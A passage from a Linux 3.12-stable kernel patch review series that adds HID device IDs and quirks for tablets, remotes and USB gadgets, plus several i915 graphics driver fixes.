+	0x0A, 0x1A, 0x02,             /*    Usage (AC Undo),              */
+	0x0A, 0x01, 0x02,             /*    Usage (AC New),               */
+	0x0A, 0x2F, 0x02,             /*    Usage (AC Zoom),              */
+	0x0A, 0x25, 0x02,             /*    Usage (AC Forward),           */
+	0x0A, 0x24, 0x02,             /*    Usage (AC Back),              */
+	0x0A, 0x2D, 0x02,             /*    Usage (AC Zoom In),           */
+	0x0A, 0x2E, 0x02,             /*    Usage (AC Zoom Out),          */
+	0x81, 0x02,                   /*    Input (Variable),             */
+	0x95, 0x30,                   /*    Report Count (48),            */
+	0x81, 0x03,                   /*    Input (Constant, Variable),   */
+	0xC0                          /*  End Collection                  */
+};
+
 static __u8 *kye_consumer_control_fixup(struct hid_device *hdev, __u8 *rdesc,
 		unsigned int *rsize, int offset, const char *device_name) {
 	/*
@@ -335,6 +466,12 @@ static __u8 *kye_report_fixup(struct hid_device *hdev, __u8 *rdesc,
 			*rsize = sizeof(easypen_m610x_rdesc_fixed);
 		}
 		break;
+	case USB_DEVICE_ID_KYE_PENSKETCH_M912:
+		if (*rsize == PENSKETCH_M912_RDESC_ORIG_SIZE) {
+			rdesc = pensketch_m912_rdesc_fixed;
+			*rsize = sizeof(pensketch_m912_rdesc_fixed);
+		}
+		break;
 	case USB_DEVICE_ID_GENIUS_GILA_GAMING_MOUSE:
 		rdesc = kye_consumer_control_fixup(hdev, rdesc, rsize, 104,
 					"Genius Gila Gaming Mouse");
@@ -418,6 +555,7 @@ static int kye_probe(struct hid_device *hdev, const struct hid_device_id *id)
 	case USB_DEVICE_ID_KYE_MOUSEPEN_I608X:
 	case USB_DEVICE_ID_KYE_MOUSEPEN_I608X_2:
 	case USB_DEVICE_ID_KYE_EASYPEN_M610X:
+	case USB_DEVICE_ID_KYE_PENSKETCH_M912:
 		ret = kye_tablet_enable(hdev);
 		if (ret) {
 			hid_err(hdev, "tablet enabling failed\n");
@@ -449,6 +587,8 @@ static const struct hid_device_id kye_devices[] = {
 				USB_DEVICE_ID_GENIUS_GX_IMPERATOR) },
 	{ HID_USB_DEVICE(USB_VENDOR_ID_KYE,
 				USB_DEVICE_ID_GENIUS_MANTICORE) },
+	{ HID_USB_DEVICE(USB_VENDOR_ID_KYE,
+				USB_DEVICE_ID_KYE_PENSKETCH_M912) },
 	{ }
 };
 MODULE_DEVICE_TABLE(hid, kye_devices);
diff --git a/drivers/hid/usbhid/hid-quirks.c b/drivers/hid/usbhid/hid-quirks.c
index 89b7eb4f9d3a..8f884a6a8a8f 100644
--- a/drivers/hid/usbhid/hid-quirks.c
+++ b/drivers/hid/usbhid/hid-quirks.c
@@ -128,6 +128,7 @@ static const struct hid_blacklist {
 	{ USB_VENDOR_ID_KYE, USB_DEVICE_ID_KYE_MOUSEPEN_I608X, HID_QUIRK_MULTI_INPUT },
 	{ USB_VENDOR_ID_KYE, USB_DEVICE_ID_KYE_MOUSEPEN_I608X_2, HID_QUIRK_MULTI_INPUT },
 	{ USB_VENDOR_ID_KYE, USB_DEVICE_ID_KYE_EASYPEN_M610X, HID_QUIRK_MULTI_INPUT },
+	{ USB_VENDOR_ID_KYE, USB_DEVICE_ID_KYE_PENSKETCH_M912, HID_QUIRK_MULTI_INPUT },
 	{ USB_VENDOR_ID_NTRIG, USB_DEVICE_ID_NTRIG_DUOSENSE, HID_QUIRK_NO_INIT_REPORTS },
 	{ USB_VENDOR_ID_SEMICO, USB_DEVICE_ID_SEMICO_USB_KEYKOARD, HID_QUIRK_NO_INIT_REPORTS },
 	{ USB_VENDOR_ID_SYNAPTICS, USB_DEVICE_ID_SYNAPTICS_LTS1, HID_QUIRK_NO_INIT_REPORTS },
-- 
2.4.6

[PATCH 3.12 048/124] HID: sony: Add support for the third-party SMK PS3 Bluetooth Remote

[Jiri Slaby]

From: Frank Praznik <frank.praznik@oh.rr.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 68a49e51a4a9c500d950f893f1758c5ac13b7c8b upstream.

Add vid/pid for the SMK branded third-party PS3 Bluetooth remote and enable
support in the hid-sony driver.

Signed-off-by: Frank Praznik <frank.praznik@oh.rr.com>
Signed-off-by: Jiri Kosina <jkosina@suse.cz>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/hid/hid-core.c | 1 +
 drivers/hid/hid-ids.h  | 3 +++
 drivers/hid/hid-sony.c | 3 +++
 3 files changed, 7 insertions(+)

diff --git a/drivers/hid/hid-core.c b/drivers/hid/hid-core.c
index b7a512a68a12..6ee4334ab7c1 100644
--- a/drivers/hid/hid-core.c
+++ b/drivers/hid/hid-core.c
@@ -1854,6 +1854,7 @@ static const struct hid_device_id hid_have_special_driver[] = {
 	{ HID_USB_DEVICE(USB_VENDOR_ID_SIS_TOUCH, USB_DEVICE_ID_SIS817_TOUCH) },
 	{ HID_USB_DEVICE(USB_VENDOR_ID_SIS_TOUCH, USB_DEVICE_ID_SIS1030_TOUCH) },
 	{ HID_USB_DEVICE(USB_VENDOR_ID_SKYCABLE, USB_DEVICE_ID_SKYCABLE_WIRELESS_PRESENTER) },
+	{ HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_SMK, USB_DEVICE_ID_SMK_PS3_BDREMOTE) },
 	{ HID_USB_DEVICE(USB_VENDOR_ID_SONY, USB_DEVICE_ID_SONY_BUZZ_CONTROLLER) },
 	{ HID_USB_DEVICE(USB_VENDOR_ID_SONY, USB_DEVICE_ID_SONY_WIRELESS_BUZZ_CONTROLLER) },
 	{ HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_SONY, USB_DEVICE_ID_SONY_PS3_BDREMOTE) },
diff --git a/drivers/hid/hid-ids.h b/drivers/hid/hid-ids.h
index 30517d03c9be..de768115e854 100644
--- a/drivers/hid/hid-ids.h
+++ b/drivers/hid/hid-ids.h
@@ -789,6 +789,9 @@
 #define USB_VENDOR_ID_SKYCABLE			0x1223
 #define	USB_DEVICE_ID_SKYCABLE_WIRELESS_PRESENTER	0x3F07
 
+#define USB_VENDOR_ID_SMK		0x0609
+#define USB_DEVICE_ID_SMK_PS3_BDREMOTE	0x0306
+
 #define USB_VENDOR_ID_SONY			0x054c
 #define USB_DEVICE_ID_SONY_VAIO_VGX_MOUSE	0x024b
 #define USB_DEVICE_ID_SONY_VAIO_VGP_MOUSE	0x0374
diff --git a/drivers/hid/hid-sony.c b/drivers/hid/hid-sony.c
index b18320db5f7d..2a771bbba7aa 100644
--- a/drivers/hid/hid-sony.c
+++ b/drivers/hid/hid-sony.c
@@ -709,6 +709,9 @@ static const struct hid_device_id sony_devices[] = {
 	/* Logitech Harmony Adapter for PS3 */
 	{ HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_HARMONY_PS3),
 		.driver_data = PS3REMOTE },
+	/* SMK-Link PS3 BD Remote Control */
+	{ HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_SMK, USB_DEVICE_ID_SMK_PS3_BDREMOTE),
+		.driver_data = PS3REMOTE },
 	{ }
 };
 MODULE_DEVICE_TABLE(hid, sony_devices);
-- 
2.4.6

[PATCH 3.12 049/124] HID: tivo: enable all buttons on the TiVo Slide Pro remote

[Jiri Slaby]

From: Forest Wilkinson <web11.forest@tibit.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 9b028649b9d0ae72090904629dad06b022f4ddc7 upstream.

The linux kernel has supported the TiVo Slide remote control for some time, but
does not recognize the USB ID of the newer Slide Pro. This patch adds the
missing data structures so the newer remote will be recognized by the driver,
thereby allowing the TiVo, LiveTV, and Thumbs Up/Down buttons to be
mapped with a hwdb file.

Signed-off-by: Forest Wilkinson <web11.forest@tibit.com>
Signed-off-by: Jiri Kosina <jkosina@suse.cz>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/hid/hid-core.c | 1 +
 drivers/hid/hid-ids.h  | 1 +
 drivers/hid/hid-tivo.c | 1 +
 3 files changed, 3 insertions(+)

diff --git a/drivers/hid/hid-core.c b/drivers/hid/hid-core.c
index 6ee4334ab7c1..14254783097e 100644
--- a/drivers/hid/hid-core.c
+++ b/drivers/hid/hid-core.c
@@ -1876,6 +1876,7 @@ static const struct hid_device_id hid_have_special_driver[] = {
 	{ HID_USB_DEVICE(USB_VENDOR_ID_THRUSTMASTER, 0xb65a) },
 	{ HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_TIVO, USB_DEVICE_ID_TIVO_SLIDE_BT) },
 	{ HID_USB_DEVICE(USB_VENDOR_ID_TIVO, USB_DEVICE_ID_TIVO_SLIDE) },
+	{ HID_USB_DEVICE(USB_VENDOR_ID_TIVO, USB_DEVICE_ID_TIVO_SLIDE_PRO) },
 	{ HID_USB_DEVICE(USB_VENDOR_ID_TOPSEED, USB_DEVICE_ID_TOPSEED_CYBERLINK) },
 	{ HID_USB_DEVICE(USB_VENDOR_ID_TOPSEED2, USB_DEVICE_ID_TOPSEED2_RF_COMBO) },
 	{ HID_USB_DEVICE(USB_VENDOR_ID_TWINHAN, USB_DEVICE_ID_TWINHAN_IR_REMOTE) },
diff --git a/drivers/hid/hid-ids.h b/drivers/hid/hid-ids.h
index de768115e854..00a8d9dbd296 100644
--- a/drivers/hid/hid-ids.h
+++ b/drivers/hid/hid-ids.h
@@ -851,6 +851,7 @@
 #define USB_VENDOR_ID_TIVO		0x150a
 #define USB_DEVICE_ID_TIVO_SLIDE_BT	0x1200
 #define USB_DEVICE_ID_TIVO_SLIDE	0x1201
+#define USB_DEVICE_ID_TIVO_SLIDE_PRO	0x1203
 
 #define USB_VENDOR_ID_TOPSEED		0x0766
 #define USB_DEVICE_ID_TOPSEED_CYBERLINK	0x0204
diff --git a/drivers/hid/hid-tivo.c b/drivers/hid/hid-tivo.c
index d790d8d71f7f..d98696927453 100644
--- a/drivers/hid/hid-tivo.c
+++ b/drivers/hid/hid-tivo.c
@@ -64,6 +64,7 @@ static const struct hid_device_id tivo_devices[] = {
 	/* TiVo Slide Bluetooth remote, pairs with a Broadcom dongle */
 	{ HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_TIVO, USB_DEVICE_ID_TIVO_SLIDE_BT) },
 	{ HID_USB_DEVICE(USB_VENDOR_ID_TIVO, USB_DEVICE_ID_TIVO_SLIDE) },
+	{ HID_USB_DEVICE(USB_VENDOR_ID_TIVO, USB_DEVICE_ID_TIVO_SLIDE_PRO) },
 	{ }
 };
 MODULE_DEVICE_TABLE(hid, tivo_devices);
-- 
2.4.6

[PATCH 3.12 050/124] [media] si4713: HID blacklist Si4713 USB development board

[Jiri Slaby]

From: Dinesh Ram <Dinesh.Ram@cern.ch>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit adc232592337d3ac4c5473ba8bdaf7c202bf215d upstream.

The Si4713 development board contains a Si4713 FM transmitter chip
and is handled by the radio-usb-si4713 driver.
The board reports itself as (10c4:8244) Cygnal Integrated Products, Inc.
and misidentifies itself as a HID device in its USB interface descriptor.
This patch ignores this device as an HID device and hence loads the custom driver.

Signed-off-by: Dinesh Ram <dinesh.ram@cern.ch>
Signed-off-by: Jiri Kosina <jkosina@suse.cz>
Acked-by: Jiri Kosina <jkosina@suse.cz>
Signed-off-by: Hans Verkuil <hans.verkuil@cisco.com>
Tested-by: Eduardo Valentin <edubezval@gmail.com>
Acked-by: Eduardo Valentin <edubezval@gmail.com>
Signed-off-by: Mauro Carvalho Chehab <m.chehab@samsung.com>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/hid/hid-core.c | 1 +
 drivers/hid/hid-ids.h  | 2 ++
 2 files changed, 3 insertions(+)

diff --git a/drivers/hid/hid-core.c b/drivers/hid/hid-core.c
index 14254783097e..465e42eb2984 100644
--- a/drivers/hid/hid-core.c
+++ b/drivers/hid/hid-core.c
@@ -2148,6 +2148,7 @@ static const struct hid_device_id hid_ignore_list[] = {
 	{ HID_USB_DEVICE(USB_VENDOR_ID_BERKSHIRE, USB_DEVICE_ID_BERKSHIRE_PCWD) },
 	{ HID_USB_DEVICE(USB_VENDOR_ID_CIDC, 0x0103) },
 	{ HID_USB_DEVICE(USB_VENDOR_ID_CYGNAL, USB_DEVICE_ID_CYGNAL_RADIO_SI470X) },
+	{ HID_USB_DEVICE(USB_VENDOR_ID_CYGNAL, USB_DEVICE_ID_CYGNAL_RADIO_SI4713) },
 	{ HID_USB_DEVICE(USB_VENDOR_ID_CMEDIA, USB_DEVICE_ID_CM109) },
 	{ HID_USB_DEVICE(USB_VENDOR_ID_CYPRESS, USB_DEVICE_ID_CYPRESS_HIDCOM) },
 	{ HID_USB_DEVICE(USB_VENDOR_ID_CYPRESS, USB_DEVICE_ID_CYPRESS_ULTRAMOUSE) },
diff --git a/drivers/hid/hid-ids.h b/drivers/hid/hid-ids.h
index 00a8d9dbd296..d0089cda3a84 100644
--- a/drivers/hid/hid-ids.h
+++ b/drivers/hid/hid-ids.h
@@ -242,6 +242,8 @@
 #define USB_VENDOR_ID_CYGNAL		0x10c4
 #define USB_DEVICE_ID_CYGNAL_RADIO_SI470X	0x818a
 
+#define USB_DEVICE_ID_CYGNAL_RADIO_SI4713       0x8244
+
 #define USB_VENDOR_ID_CYPRESS		0x04b4
 #define USB_DEVICE_ID_CYPRESS_MOUSE	0x0001
 #define USB_DEVICE_ID_CYPRESS_HIDCOM	0x5500
-- 
2.4.6

[PATCH 3.12 051/124] HID: ignore jabra gn9350e

[Jiri Slaby]

From: Patrick Plattes <patrick@erdbeere.net>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 43c1a0a9db2d9213812766065f6a07a215ed70ad upstream.

Ignore Jabra GN9350E HID interface. USB audio is working nicely, but
registering as HID blocks USB mouse buttons. Since special userspace programs
are needed we will avoid attaching usbhid drivers in general.

Signed-off-by: Patrick Plattes <patrick@erdbeere.net>
Signed-off-by: Jiri Kosina <jkosina@suse.cz>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/hid/hid-core.c | 1 +
 drivers/hid/hid-ids.h  | 1 +
 2 files changed, 2 insertions(+)

diff --git a/drivers/hid/hid-core.c b/drivers/hid/hid-core.c
index 465e42eb2984..bbb8bf51fe7f 100644
--- a/drivers/hid/hid-core.c
+++ b/drivers/hid/hid-core.c
@@ -2227,6 +2227,7 @@ static const struct hid_device_id hid_ignore_list[] = {
 	{ HID_USB_DEVICE(USB_VENDOR_ID_IMATION, USB_DEVICE_ID_DISC_STAKKA) },
 	{ HID_USB_DEVICE(USB_VENDOR_ID_JABRA, USB_DEVICE_ID_JABRA_SPEAK_410) },
 	{ HID_USB_DEVICE(USB_VENDOR_ID_JABRA, USB_DEVICE_ID_JABRA_SPEAK_510) },
+	{ HID_USB_DEVICE(USB_VENDOR_ID_JABRA, USB_DEVICE_ID_JABRA_GN9350E) },
 	{ HID_USB_DEVICE(USB_VENDOR_ID_KBGEAR, USB_DEVICE_ID_KBGEAR_JAMSTUDIO) },
 	{ HID_USB_DEVICE(USB_VENDOR_ID_KWORLD, USB_DEVICE_ID_KWORLD_RADIO_FM700) },
 	{ HID_USB_DEVICE(USB_VENDOR_ID_KYE, USB_DEVICE_ID_KYE_GPEN_560) },
diff --git a/drivers/hid/hid-ids.h b/drivers/hid/hid-ids.h
index d0089cda3a84..7c03a1a87f2a 100644
--- a/drivers/hid/hid-ids.h
+++ b/drivers/hid/hid-ids.h
@@ -481,6 +481,7 @@
 #define USB_VENDOR_ID_JABRA		0x0b0e
 #define USB_DEVICE_ID_JABRA_SPEAK_410	0x0412
 #define USB_DEVICE_ID_JABRA_SPEAK_510	0x0420
+#define USB_DEVICE_ID_JABRA_GN9350E	0x9350
 
 #define USB_VENDOR_ID_JESS		0x0c45
 #define USB_DEVICE_ID_JESS_YUREX	0x1010
-- 
2.4.6

[PATCH 3.12 052/124] HID: do not bind to Microchip Pick16F1454

[Jiri Slaby]

From: Kristian Evensen <kristian.evensen@gmail.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit a8c8316b11594e616df641b4b19ec9da732f93df upstream.

The Microchip Pick16F1454 is exported as a HID device and is used by for
example the Yepkit YKUSH three-port switchable USB hub. However, it is not an
actual HID-device. On the Yepkit, it is used to power up/down the ports on the
hub. The HID driver should ignore this device.

Signed-off-by: Kristian Evensen <kristian.evensen@gmail.com>
Signed-off-by: Jiri Kosina <jkosina@suse.cz>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/hid/hid-core.c | 1 +
 drivers/hid/hid-ids.h  | 1 +
 2 files changed, 2 insertions(+)

diff --git a/drivers/hid/hid-core.c b/drivers/hid/hid-core.c
index bbb8bf51fe7f..a35bb34e0b08 100644
--- a/drivers/hid/hid-core.c
+++ b/drivers/hid/hid-core.c
@@ -2269,6 +2269,7 @@ static const struct hid_device_id hid_ignore_list[] = {
 	{ HID_USB_DEVICE(USB_VENDOR_ID_MCC, USB_DEVICE_ID_MCC_PMD1208LS) },
 	{ HID_USB_DEVICE(USB_VENDOR_ID_MICROCHIP, USB_DEVICE_ID_PICKIT1) },
 	{ HID_USB_DEVICE(USB_VENDOR_ID_MICROCHIP, USB_DEVICE_ID_PICKIT2) },
+	{ HID_USB_DEVICE(USB_VENDOR_ID_MICROCHIP, USB_DEVICE_ID_PICK16F1454) },
 	{ HID_USB_DEVICE(USB_VENDOR_ID_NATIONAL_SEMICONDUCTOR, USB_DEVICE_ID_N_S_HARMONY) },
 	{ HID_USB_DEVICE(USB_VENDOR_ID_ONTRAK, USB_DEVICE_ID_ONTRAK_ADU100) },
 	{ HID_USB_DEVICE(USB_VENDOR_ID_ONTRAK, USB_DEVICE_ID_ONTRAK_ADU100 + 20) },
diff --git a/drivers/hid/hid-ids.h b/drivers/hid/hid-ids.h
index 7c03a1a87f2a..9888f669d58e 100644
--- a/drivers/hid/hid-ids.h
+++ b/drivers/hid/hid-ids.h
@@ -618,6 +618,7 @@
 #define USB_DEVICE_ID_PICKIT2		0x0033
 #define USB_DEVICE_ID_PICOLCD		0xc002
 #define USB_DEVICE_ID_PICOLCD_BOOTLOADER	0xf002
+#define USB_DEVICE_ID_PICK16F1454	0x0042
 
 #define USB_VENDOR_ID_MICROSOFT		0x045e
 #define USB_DEVICE_ID_SIDEWINDER_GV	0x003b
-- 
2.4.6

[PATCH 3.12 053/124] usb/misc/usbled: Add Riso Kagaku Webmail Notifier

[Jiri Slaby]

From: Christian Vogel <vogelchr@vogel.cx>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit e8fcbb61405997f03b9e127806db620c7cfb9909 upstream.

Add support for the "Webmail Notifier" (USB powered LED for signaling
new emails) made by Riso Kagaku Corp. which displays 7 distinct colors.

USB Protocol initially reverse engineered by
	https://code.google.com/p/usbmailnotifier/.

Signed-off-by: Christian Vogel <vogelchr@vogel.cx>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/usb/misc/usbled.c | 34 ++++++++++++++++++++++++++++++++++
 1 file changed, 34 insertions(+)

diff --git a/drivers/usb/misc/usbled.c b/drivers/usb/misc/usbled.c
index 12d03e7ad636..8765fd6afcc7 100644
--- a/drivers/usb/misc/usbled.c
+++ b/drivers/usb/misc/usbled.c
@@ -23,8 +23,27 @@
 enum led_type {
 	DELCOM_VISUAL_SIGNAL_INDICATOR,
 	DREAM_CHEEKY_WEBMAIL_NOTIFIER,
+	RISO_KAGAKU_LED
 };
 
+/* the Webmail LED made by RISO KAGAKU CORP. decodes a color index
+   internally, we want to keep the red+green+blue sysfs api, so we decode
+   from 1-bit RGB to the riso kagaku color index according to this table... */
+
+static unsigned const char riso_kagaku_tbl[] = {
+/* R+2G+4B -> riso kagaku color index */
+	[0] = 0, /* black   */
+	[1] = 2, /* red     */
+	[2] = 1, /* green   */
+	[3] = 5, /* yellow  */
+	[4] = 3, /* blue    */
+	[5] = 6, /* magenta */
+	[6] = 4, /* cyan    */
+	[7] = 7  /* white   */
+};
+
+#define RISO_KAGAKU_IX(r,g,b) riso_kagaku_tbl[((r)?1:0)+((g)?2:0)+((b)?4:0)]
+
 /* table of devices that work with this driver */
 static const struct usb_device_id id_table[] = {
 	{ USB_DEVICE(0x0fc5, 0x1223),
@@ -33,6 +52,8 @@ static const struct usb_device_id id_table[] = {
 			.driver_info = DREAM_CHEEKY_WEBMAIL_NOTIFIER },
 	{ USB_DEVICE(0x1d34, 0x000a),
 			.driver_info = DREAM_CHEEKY_WEBMAIL_NOTIFIER },
+	{ USB_DEVICE(0x1294, 0x1320),
+			.driver_info = RISO_KAGAKU_LED },
 	{ },
 };
 MODULE_DEVICE_TABLE(usb, id_table);
@@ -49,6 +70,7 @@ static void change_color(struct usb_led *led)
 {
 	int retval = 0;
 	unsigned char *buffer;
+	int actlength;
 
 	buffer = kmalloc(8, GFP_KERNEL);
 	if (!buffer) {
@@ -105,6 +127,18 @@ static void change_color(struct usb_led *led)
 					2000);
 		break;
 
+	case RISO_KAGAKU_LED:
+		buffer[0] = RISO_KAGAKU_IX(led->red, led->green, led->blue);
+		buffer[1] = 0;
+		buffer[2] = 0;
+		buffer[3] = 0;
+		buffer[4] = 0;
+
+		retval = usb_interrupt_msg(led->udev,
+			usb_sndctrlpipe(led->udev, 2),
+			buffer, 5, &actlength, 1000 /*ms timeout*/);
+		break;
+
 	default:
 		dev_err(&led->udev->dev, "unknown device type %d\n", led->type);
 	}
-- 
2.4.6

[PATCH 3.12 054/124] usbhid/quirks: Ignore Riso Kagaku Webmail Notifier

[Jiri Slaby]

From: Christian Vogel <vogelchr@vogel.cx>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 759db9ead2c064203e9cb46bfff7c8ef25417b65 upstream.

The "Webmail Notifier" is a USB controlled LED that appears as a HID
device. When trying to change the LED via hidraw it returns malformed
reports. As "usbled" supports it, we blacklist it in usbhid.

Signed-off-by: Christian Vogel <vogelchr@vogel.cx>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/hid/hid-core.c | 1 +
 drivers/hid/hid-ids.h  | 3 +++
 2 files changed, 4 insertions(+)

diff --git a/drivers/hid/hid-core.c b/drivers/hid/hid-core.c
index a35bb34e0b08..eb23021390cb 100644
--- a/drivers/hid/hid-core.c
+++ b/drivers/hid/hid-core.c
@@ -2307,6 +2307,7 @@ static const struct hid_device_id hid_ignore_list[] = {
 	{ HID_USB_DEVICE(USB_VENDOR_ID_WISEGROUP, USB_DEVICE_ID_1_PHIDGETSERVO_20) },
 	{ HID_USB_DEVICE(USB_VENDOR_ID_WISEGROUP, USB_DEVICE_ID_8_8_4_IF_KIT) },
 	{ HID_USB_DEVICE(USB_VENDOR_ID_YEALINK, USB_DEVICE_ID_YEALINK_P1K_P4K_B2K) },
+	{ HID_USB_DEVICE(USB_VENDOR_ID_RISO_KAGAKU, USB_DEVICE_ID_RI_KA_WEBMAIL) },
 	{ }
 };
 
diff --git a/drivers/hid/hid-ids.h b/drivers/hid/hid-ids.h
index 9888f669d58e..7d036aadb567 100644
--- a/drivers/hid/hid-ids.h
+++ b/drivers/hid/hid-ids.h
@@ -978,4 +978,7 @@
 #define USB_DEVICE_ID_PRIMAX_KEYBOARD	0x4e05
 
 
+#define USB_VENDOR_ID_RISO_KAGAKU	0x1294	/* Riso Kagaku Corp. */
+#define USB_DEVICE_ID_RI_KA_WEBMAIL	0x1320	/* Webmail Notifier */
+
 #endif
-- 
2.4.6

[PATCH 3.12 055/124] drm/i915: drop WaSetupGtModeTdRowDispatch:snb

[Jiri Slaby]

From: Daniel Vetter <daniel.vetter@ffwll.ch>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 2208d655a91f9879bd9a39ff9df05dd668b3512c upstream.

This reverts the regressing

commit 6547fbdbfff62c99e4f7b4f985ff8b3454f33b0f
Author: Daniel Vetter <daniel.vetter@ffwll.ch>
Date:   Fri Dec 14 23:38:29 2012 +0100

    drm/i915: Implement WaSetupGtModeTdRowDispatch

that causes GPU hangs immediately on boot.

Reported-by: Leo Wolf <jclw@ymail.com>
Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=79996
Cc: stable@vger.kernel.org (v3.8+)
Signed-off-by: Daniel Vetter <daniel.vetter@intel.com>
[Jani: amended the commit message slightly.]
Signed-off-by: Jani Nikula <jani.nikula@intel.com>

Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/gpu/drm/i915/intel_pm.c | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/drivers/gpu/drm/i915/intel_pm.c b/drivers/gpu/drm/i915/intel_pm.c
index a7daa2a3ac82..cc0c7499e505 100644
--- a/drivers/gpu/drm/i915/intel_pm.c
+++ b/drivers/gpu/drm/i915/intel_pm.c
@@ -4823,11 +4823,6 @@ static void gen6_init_clock_gating(struct drm_device *dev)
 	I915_WRITE(_3D_CHICKEN,
 		   _MASKED_BIT_ENABLE(_3D_CHICKEN_HIZ_PLANE_DISABLE_MSAA_4X_SNB));
 
-	/* WaSetupGtModeTdRowDispatch:snb */
-	if (IS_SNB_GT1(dev))
-		I915_WRITE(GEN6_GT_MODE,
-			   _MASKED_BIT_ENABLE(GEN6_TD_FOUR_ROW_DISPATCH_DISABLE));
-
 	I915_WRITE(WM3_LP_ILK, 0);
 	I915_WRITE(WM2_LP_ILK, 0);
 	I915_WRITE(WM1_LP_ILK, 0);
-- 
2.4.6

[PATCH 3.12 056/124] drm/i915: Handle failure to kick out a conflicting fb driver

[Jiri Slaby]

From: Chris Wilson <chris@chris-wilson.co.uk>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit f96de58fc7e7d3d717c7c63975c3b896c906b5e3 upstream.

Signed-off-by: Chris Wilson <chris@chris-wilson.co.uk>
Reviewed-by: Jani Nikula <jani.nikula@intel.com>
Signed-off-by: Daniel Vetter <daniel.vetter@ffwll.ch>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/gpu/drm/i915/i915_dma.c | 19 ++++++++++++++-----
 1 file changed, 14 insertions(+), 5 deletions(-)

diff --git a/drivers/gpu/drm/i915/i915_dma.c b/drivers/gpu/drm/i915/i915_dma.c
index 50d42daae15f..9973b298e088 100644
--- a/drivers/gpu/drm/i915/i915_dma.c
+++ b/drivers/gpu/drm/i915/i915_dma.c
@@ -1406,15 +1406,16 @@ void i915_master_destroy(struct drm_device *dev, struct drm_master *master)
 	master->driver_priv = NULL;
 }
 
-static void i915_kick_out_firmware_fb(struct drm_i915_private *dev_priv)
+static int i915_kick_out_firmware_fb(struct drm_i915_private *dev_priv)
 {
 	struct apertures_struct *ap;
 	struct pci_dev *pdev = dev_priv->dev->pdev;
 	bool primary;
+	int ret;
 
 	ap = alloc_apertures(1);
 	if (!ap)
-		return;
+		return -ENOMEM;
 
 	ap->ranges[0].base = dev_priv->gtt.mappable_base;
 	ap->ranges[0].size = dev_priv->gtt.mappable_end;
@@ -1422,9 +1423,11 @@ static void i915_kick_out_firmware_fb(struct drm_i915_private *dev_priv)
 	primary =
 		pdev->resource[PCI_ROM_RESOURCE].flags & IORESOURCE_ROM_SHADOW;
 
-	remove_conflicting_framebuffers(ap, "inteldrmfb", primary);
+	ret = remove_conflicting_framebuffers(ap, "inteldrmfb", primary);
 
 	kfree(ap);
+
+	return ret;
 }
 
 static void i915_dump_device_info(struct drm_i915_private *dev_priv)
@@ -1553,8 +1556,13 @@ int i915_driver_load(struct drm_device *dev, unsigned long flags)
 	if (ret)
 		goto put_bridge;
 
-	if (drm_core_check_feature(dev, DRIVER_MODESET))
-		i915_kick_out_firmware_fb(dev_priv);
+	if (drm_core_check_feature(dev, DRIVER_MODESET)) {
+		ret = i915_kick_out_firmware_fb(dev_priv);
+		if (ret) {
+			DRM_ERROR("failed to remove conflicting framebuffer drivers\n");
+			goto out_gtt;
+		}
+	}
 
 	pci_set_master(dev->pdev);
 
@@ -1688,6 +1696,7 @@ out_gem_unload:
 out_mtrrfree:
 	arch_phys_wc_del(dev_priv->gtt.mtrr);
 	io_mapping_free(dev_priv->gtt.mappable);
+out_gtt:
 	dev_priv->gtt.base.cleanup(&dev_priv->gtt.base);
 out_rmmap:
 	pci_iounmap(dev->pdev, dev_priv->regs);
-- 
2.4.6

[PATCH 3.12 057/124] drm/i915: save/restore GMBUS freq across suspend/resume on gen4

[Jiri Slaby]

From: Jesse Barnes <jbarnes@virtuousgeek.org>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 9f49c37635d5c2a801f7670d5fbf0b25ec461f2c upstream.

Should probably just init this in the GMbus code all the time, based on
the cdclk and HPLL like we do on newer platforms.  Ville has code for
that in a rework branch, but until then we can fix this bug fairly
easily.

Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=76301
Signed-off-by: Jesse Barnes <jbarnes@virtuousgeek.org>
Reviewed-by: Ville Syrjälä <ville.syrjala@linux.intel.com>
Tested-by: Nikolay <mar.kolya@gmail.com>
Cc: stable@vger.kernel.org
Signed-off-by: Jani Nikula <jani.nikula@intel.com>
Signed-off-by: Takashi Iwai <tiwai@suse.de>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/gpu/drm/i915/i915_drv.h     | 1 +
 drivers/gpu/drm/i915/i915_reg.h     | 1 +
 drivers/gpu/drm/i915/i915_suspend.c | 8 ++++++++
 3 files changed, 10 insertions(+)

diff --git a/drivers/gpu/drm/i915/i915_drv.h b/drivers/gpu/drm/i915/i915_drv.h
index 881c9af0971d..8bfbbab820ef 100644
--- a/drivers/gpu/drm/i915/i915_drv.h
+++ b/drivers/gpu/drm/i915/i915_drv.h
@@ -817,6 +817,7 @@ struct i915_suspend_saved_registers {
